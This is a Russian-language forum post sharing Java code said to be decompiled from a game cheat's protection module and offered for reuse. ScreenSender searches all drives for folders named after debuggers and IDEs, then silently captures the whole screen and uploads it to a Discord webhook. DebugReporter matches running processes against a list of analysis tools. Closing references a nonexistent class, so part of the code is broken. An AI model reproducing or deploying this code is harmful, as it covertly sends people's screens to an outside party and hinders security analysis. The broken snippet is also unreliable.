-
Автор темы
- #1
Привет друзья, мне удалось декомпилировать малую часть защиты чита Nursultan Alpha. После того как я декомпилировал её перенес ее под expensive 3.1. По этому дерзайте!
-------------------------------------
-------------------------------------
На этом защита которую я выкачал все. Если будет время и настроение потом достану фулл защиту из сурса
ScreenSender.java:
package fun.nursultan.protect;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.*;
import java.util.stream.Stream;
import javax.imageio.ImageIO;
import javax.swing.*;
public class ScreenSender {
private String[] suspiciousFolders = {
"pycharm", "idea", "intellij", "vscode", "debug", "scylla", "ollydbg", "x64dbg", "ghidra", "processhacker", "windbg"
};
private String webhookUrl = "сюда ссылку на вебхук";
public void scanAndCapture() {
for (Path rootPath : FileSystems.getDefault().getRootDirectories()) {
scanDrive(rootPath);
}
}
private void scanDrive(Path rootPath) {
try (Stream<Path> paths = Files.walk(rootPath, 3)) {
paths.filter(Files::isDirectory).forEach(path -> {
for (String folder : suspiciousFolders) {
if (path.toString().toLowerCase().contains(folder)) {
captureAndSendScreenshot();
return;
}
}
});
} catch (IOException e) {
}
}
private void captureAndSendScreenshot() {
try {
Robot robot = new Robot();
Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
BufferedImage screenFullImage = robot.createScreenCapture(screenRect);
String tempDir = System.getProperty("java.io.tmpdir");
String fileName = tempDir + "screenshot_" + System.currentTimeMillis() + ".png";
File screenshotFile = new File(fileName);
ImageIO.write(screenFullImage, "png", screenshotFile);
sendScreenshotToDiscord(screenshotFile);
Files.deleteIfExists(screenshotFile.toPath());
} catch (AWTException | IOException e) {
}
}
private void sendScreenshotToDiscord(File file) throws IOException {
URL url = new URL(webhookUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary");
OutputStream outputStream = connection.getOutputStream();
PrintWriter writer = new PrintWriter(new OutputStreamWriter(outputStream, "UTF-8"), true);
String boundary = "----WebKitFormBoundary";
writer.append("--").append(boundary).append("\r\n");
writer.append("Content-Disposition: form-data; name=\"file\"; filename=\"" + file.getName() + "\"\r\n");
writer.append("Content-Type: image/png\r\n\r\n");
writer.flush();
FileInputStream inputStream = new FileInputStream(file);
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
outputStream.flush();
inputStream.close();
writer.append("\r\n").flush();
writer.append("--").append(boundary).append("--").append("\r\n");
writer.close();
int responseCode = connection.getResponseCode();
if (responseCode == 200) {
}
connection.disconnect();
}
public static void main(String[] args) {
new ScreenSender().scanAndCapture();
}
}
DebugReporter.java:
package fun.nursultan.protect;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class DebugReporter {
public void startMonitoring() {
while (true) {
if (detectCheatsOrDebuggers()) {
}
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public boolean detectCheatsOrDebuggers() {
String[] processNames = {
"ida",
"scylla",
"ollydbg",
"x64dbg",
"ghidra",
"processhacker",
"windbg",
"dbgview"
};
try {
Process process = Runtime.getRuntime().exec("tasklist");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
for (String processName : processNames) {
if (line.toLowerCase().contains(processName.toLowerCase())) {
return true;
}
}
}
} catch (IOException e) {
}
return false;
}
}
Closing.java:
package fun.nursultan.protect;
public class Closing {
private DebugReporter reporter;
public Closing() {
reporter = new Reporter();
}
public void onClose() {
if (reporter.detectCheatsOrDebuggers()) {
System.exit(0);
} else {
}
}
}
